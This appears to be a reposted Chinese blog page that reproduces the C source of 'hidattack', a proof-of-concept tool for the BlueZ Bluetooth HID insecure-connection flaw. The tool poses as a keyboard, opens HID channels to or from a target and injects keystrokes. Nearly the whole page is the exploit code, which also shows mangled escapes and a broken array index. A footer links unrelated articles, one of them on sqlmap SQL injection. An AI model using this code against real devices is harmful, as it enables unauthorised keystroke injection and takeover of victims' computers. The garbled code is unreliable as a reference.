BlueZ HID不安全设备连接漏洞

2023-11-08 15:38
文章标签 连接 漏洞 hid 安全设备 bluez

本文主要是介绍BlueZ HID不安全设备连接漏洞，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

BlueZ HID不安全设备连接漏洞

*
* hidattack v0.1
*
* (c) Collin R. Mulliner
* http://www.mulliner.org/bluetooth/
*
* License: GPLv2
*
*/

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#include

#include
#include
#include
#include
#include
#include

#include "hid.h"
#include "sdp.h"

int cs;
int is;

/*
* taken from BlueZ
*/
static int l2cap_listen(const bdaddr_t *bdaddr, unsigned short psm, int lm, int backlog)
{
  struct sockaddr_l2 addr;
  struct l2cap_options opts;
  int sk;

  if ((sk = socket(PF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP)) < 0)
    return -1;

  memset(&addr, 0, sizeof(addr));
  addr.l2_family = AF_BLUETOOTH;
  bacpy(&addr.l2_bdaddr, bdaddr);
  addr.l2_psm = htobs(psm);

  if (bind(sk, (struct sockaddr *) &addr, sizeof(addr)) < 0) {
    close(sk);
    return -1;
  }

  setsockopt(sk, SOL_L2CAP, L2CAP_LM, &lm, sizeof(lm));

  memset(&opts, 0, sizeof(opts));
  opts.imtu = HIDP_DEFAULT_MTU;
  opts.omtu = HIDP_DEFAULT_MTU;
  opts.flush_to = 0xffff;

  setsockopt(sk, SOL_L2CAP, L2CAP_OPTIONS, &opts, sizeof(opts));

  if (listen(sk, backlog) < 0) {
    close(sk);
    return -1;
  }

  return sk;
}

/*
* taken from BlueZ
*/
static int l2cap_connect(bdaddr_t *src, bdaddr_t *dst, unsigned short psm)
{
  struct sockaddr_l2 addr;
  struct l2cap_options opts;
  int sk;

  if ((sk = socket(PF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP)) < 0)
    return -1;

  memset(&addr, 0, sizeof(addr));
  addr.l2_family = AF_BLUETOOTH;
  bacpy(&addr.l2_bdaddr, src);

  if (bind(sk, (struct sockaddr *) &addr, sizeof(addr)) < 0) {
    close(sk);
    return -1;
  }

  memset(&opts, 0, sizeof(opts));
  opts.imtu = HIDP_DEFAULT_MTU;
  opts.omtu = HIDP_DEFAULT_MTU;
  opts.flush_to = 0xffff;

  setsockopt(sk, SOL_L2CAP, L2CAP_OPTIONS, &opts, sizeof(opts));

  memset(&addr, 0, sizeof(addr));
  addr.l2_family = AF_BLUETOOTH;
  bacpy(&addr.l2_bdaddr, dst);
  addr.l2_psm = htobs(psm);

  if (connect(sk, (struct sockaddr *) &addr, sizeof(addr)) < 0) {
    close(sk);
    return -1;
  }

  return sk;
}

/*
* taken from BlueZ
*/
static int l2cap_accept(int sk, bdaddr_t *bdaddr)
{
  struct sockaddr_l2 addr;
  socklen_t addrlen;
  int nsk;

  memset(&addr, 0, sizeof(addr));
  addrlen = sizeof(addr);

  if ((nsk = accept(sk, (struct sockaddr *) &addr, &addrlen)) < 0)
    return -1;

  if (bdaddr)
    bacpy(bdaddr, &addr.l2_bdaddr);

  return nsk;
}

void usage()
{
  fprintf(stderr,  "/nhidattack v0.1 Dec. 2005 Collin R. Mulliner /n/n"/
                  "syntax: hidattack -hsce/n/n"/
                  "/th/t/thelp/n"/
                  "/ts/t/tserver mode/n"/
                  "/tc /tclient mode - connect to addr/n"/
                  "/te /tevent file/n");
}

int main(int argc, char **argv)
{
  unsigned char pkg[12];
  int ip;
  int i = 0;
  struct input_event ie;
  bdaddr_t dst;
  struct pollfd pf[3];
  unsigned char ib[1024];
  unsigned char cb[1024];
  int state = 0;
  unsigned char modifiers = 0;
  unsigned char modifiers_old = 0;
  int press = 0;
  int press_old = 0;
  int bitmask[8] = {0};
  int mode = -1;
  char event_file[256] = {0};
  int optid;


  while ((optid = getopt(argc, argv, "hsc:e:")) != -1) {
    switch (optid) {
    case &#39;s&#39;:
      mode = 0;
      break;
    case &#39;c&#39;:
      mode = 1;
      str2ba(optarg, &dst);
      break;
    case &#39;e&#39;:
      strcpy(event_file, optarg);
      break;
    default:
      usage();
      exit(0);
    }
  }

  if (sdp_open()) {
    sdp_add_keyboard();
  }
  else {
    fprintf(stderr, "can&#39;t connect to local SDP server/n");
    usage();
    exit(0);
  }
  
  if ((ip = open(event_file, O_RDONLY)) < 0) {
    perror("open event input");
    usage();
    exit(0);
  }

  printf("/nhidattack DEM0 (c) Collin R. Mulliner http://www.mulliner.org/bluetooth//n/n");
  
  if (mode == 0) {
    cs = l2cap_listen(BDADDR_ANY, L2CAP_PSM_HIDP_CTRL, 0, 1);
    is = l2cap_listen(BDADDR_ANY, L2CAP_PSM_HIDP_INTR, 0, 1);
    cs = l2cap_accept(cs, NULL);
    perror("HID control channel");
    is = l2cap_accept(is, NULL);
    perror("HID interupt channel");
  }
  else if (mode == 1) {
    cs = l2cap_connect(BDADDR_ANY, &dst, L2CAP_PSM_HIDP_CTRL);
    perror("HID control channel");
    is = l2cap_connect(BDADDR_ANY, &dst, L2CAP_PSM_HIDP_INTR);
    perror("HID interupt channel");
  }
  else {
    fprintf(stderr, "wrong mode/n");
    exit(-1);
  }

  pf[0].fd = ip;
  pf[0].events = POLLIN | POLLERR | POLLHUP;
  pf[1].fd = cs;
  pf[1].events = POLLIN | POLLERR | POLLHUP;
  pf[2].fd = is;
  pf[2].events = POLLIN | POLLERR | POLLHUP;
  
  while (1) {
    pf[0].revents = 0;
    pf[1].revents = 0;
    pf[2].revents = 0;
   
    if (poll(pf, 3, -1) <= 0) {
      continue;
    }
   
    bzero(pkg, 12);

    if (pf[0].revents) {
      if (state == 1) {
      if (read(ip, &ie, sizeof(ie)) <= 0) {
        perror("read ip");
        exit(-1);
      }
      if (ie.type == 0x01) {
        if (state == 1) {

          modifiers_old = modifiers;
          press_old = press;

          switch (ie.code) {
          case KEY_LEFTSHIFT:
            bitmask[1] = (ie.value ? 1 : 0);
            break;
          case KEY_RIGHTSHIFT:
            bitmask[5] = (ie.value ? 1 : 0);
            break;
          case KEY_LEFTALT:
            bitmask[2] = (ie.value ? 1 : 0);
            break;
          case KEY_RIGHTALT:
            bitmask[6] = (ie.value ? 1 : 0);
            break;
          case KEY_LEFTCTRL:
            bitmask[0] = (ie.value ? 1 : 0);
            break;
          case KEY_RIGHTCTRL:
            bitmask[4] = (ie.value ? 1 : 0);
            break;
          default:
            if (ie.value > 0) {
              pkg[4] = keycode2hidp[ie.code];
              //printf("keycode=%d, hidp=%d/n",ie.code,pkg[4]);
              press++;
            }
            else {
              press--;
            }
            break;
          }
         
          modifiers = 0;
          for (i = 0; i < 8; i++) {
            modifiers |= (bitmask << i);
          }
          //printf("modifiers: 0x%02x/n", modifiers);
         
          if (press != press_old || modifiers != modifiers_old) {
            pkg[0] = 0xa1;
            pkg[1] = 0x01;
            pkg[2] = modifiers;
            pkg[3] = 0x00;
            //pkg[4] = 0x00; // the key code
            pkg[5] = 0x00;
            pkg[6] = 0x00;
            pkg[7] = 0x00;
            pkg[8] = 0x00;
            pkg[9] = 0x00;
         
          if (write(is, pkg, 10) <= 0) {
              perror("write");
              exit(-1);
            }
          }
        }
      }
      }
    }
    if (pf[1].revents) {
      int size;
      int i;
      if ((size = read(cs, cb, sizeof(cb))) <= 0) {
        perror("read cs");
        exit(-1);
      }

      printf("cs(%d)/n", size);
      for (i = 0; i < size; i++)
        printf("%02x",cb);
      printf("/n");

      if (state == 0 && size == 1 && cb[0] == 0x70) {
        fprintf(stderr, "got set_protocol BOOT/n");
        pkg[0] = 0;
        write(cs, pkg, 1);
        state = 1;
      }
    }
    if (pf[2].revents) {
      int size;
      int i;
      if ((size = read(is, ib, sizeof(ib))) <= 0) {
        perror("read is");
        exit(-1);
      }
      printf("is(%d): ", size);
      for (i = 0; i < size; i++)
        printf("%02x",ib);
      printf("/n");
   
    }
  }
}

这篇关于BlueZ HID不安全设备连接漏洞的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！


http://www.chinasem.cn/article/370839。

相关文章

SQL注入漏洞扫描之sqlmap详解

SQL注入漏洞扫描之sqlmap详解

《SQL注入漏洞扫描之sqlmap详解》SQLMap是一款自动执行SQL注入的审计工具,支持多种SQL注入技术,包括布尔型盲注、时间型盲注、报错型注入、联合查询注入和堆叠查询注入... 目录what支持类型how---less-1为例1.检测网站是否存在sql注入漏洞的注入点2.列举可用数据库3.列举数据库
阅读更多...
Xshell远程连接失败以及解决方案

Xshell远程连接失败以及解决方案

《Xshell远程连接失败以及解决方案》本文介绍了在Windows11家庭版和CentOS系统中解决Xshell无法连接远程服务器问题的步骤,在Windows11家庭版中,需要通过设置添加SSH功能并... 目录一.问题描述二.原因分析及解决办法2.1添加ssh功能2.2 在Windows中开启ssh服务2
阅读更多...
Redis连接失败：客户端IP不在白名单中的问题分析与解决方案

Redis连接失败：客户端IP不在白名单中的问题分析与解决方案

《Redis连接失败：客户端IP不在白名单中的问题分析与解决方案》在现代分布式系统中,Redis作为一种高性能的内存数据库,被广泛应用于缓存、消息队列、会话存储等场景,然而,在实际使用过程中,我们可能... 目录一、问题背景二、错误分析1. 错误信息解读2. 根本原因三、解决方案1. 将客户端IP添加到Re
阅读更多...
Mysql 中的多表连接和连接类型详解

Mysql 中的多表连接和连接类型详解

《Mysql中的多表连接和连接类型详解》这篇文章详细介绍了MySQL中的多表连接及其各种类型,包括内连接、左连接、右连接、全外连接、自连接和交叉连接,通过这些连接方式,可以将分散在不同表中的相关数据... 目录什么是多表连接？1. 内连接（INNER JOIN）2. 左连接（LEFT JOIN 或 LEFT
阅读更多...
Spring Boot实现多数据源连接和切换的解决方案

Spring Boot实现多数据源连接和切换的解决方案

《SpringBoot实现多数据源连接和切换的解决方案》文章介绍了在SpringBoot中实现多数据源连接和切换的几种方案,并详细描述了一个使用AbstractRoutingDataSource的实... 目录前言一、多数据源配置与切换方案二、实现步骤总结前言在 Spring Boot 中实现多数据源连接
阅读更多...
QT实现TCP客户端自动连接

QT实现TCP客户端自动连接

《QT实现TCP客户端自动连接》这篇文章主要为大家详细介绍了QT中一个TCP客户端自动连接的测试模型,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 目录版本 1:没有取消按钮 测试效果测试代码版本 2:有取消按钮测试效果测试代码版本 1:没有取消按钮 测试效果缺陷：无法手动停
阅读更多...
W外链微信推广短连接怎么做？

W外链微信推广短连接怎么做？

制作微信推广链接的难点分析 一、内容创作难度 制作微信推广链接时，首先需要创作有吸引力的内容。这不仅要求内容本身有趣、有价值，还要能够激起人们的分享欲望。对于许多企业和个人来说，尤其是那些缺乏创意和写作能力的人来说，这是制作微信推广链接的一大难点。 二、精准定位难度 微信用户群体庞大，不同用户的需求和兴趣各异。因此，制作推广链接时需要精准定位目标受众，以便更有效地吸引他们点击并分享链接
阅读更多...
Java 连接Sql sever 2008

Java 连接Sql sever 2008

Java 连接Sql sever 2008 /Sql sever 2008 R2 import java.sql.Connection; import java.sql.DriverManager; import java.sql.ResultSet; import java.sql.Statement; public class TestJDBC
阅读更多...
实例：如何统计当前主机的连接状态和连接数

实例：如何统计当前主机的连接状态和连接数

统计当前主机的连接状态和连接数 在 Linux 中，可使用 ss 命令来查看主机的网络连接状态。以下是统计当前主机连接状态和连接主机数量的具体操作。 1. 统计当前主机的连接状态 使用 ss 命令结合 grep、cut、sort 和 uniq 命令来统计当前主机的 TCP 连接状态。 ss -nta | grep -v '^State' | cut -d " " -f 1 | sort |
阅读更多...
【Go】go连接clickhouse使用TCP协议

【Go】go连接clickhouse使用TCP协议

离开你是傻是对是错 是看破是软弱 这结果是爱是恨或者是什么 如果是种解脱 怎么会还有眷恋在我心窝 那么爱你为什么                      🎵 黄品源/莫文蔚《那么爱你为什么》 package mainimport ("context""fmt""log""time""github.com/ClickHouse/clickhouse-go/v2")func main(
阅读更多...

Copyright China编程 23002807@qq.com

沪ICP备2023033072号-2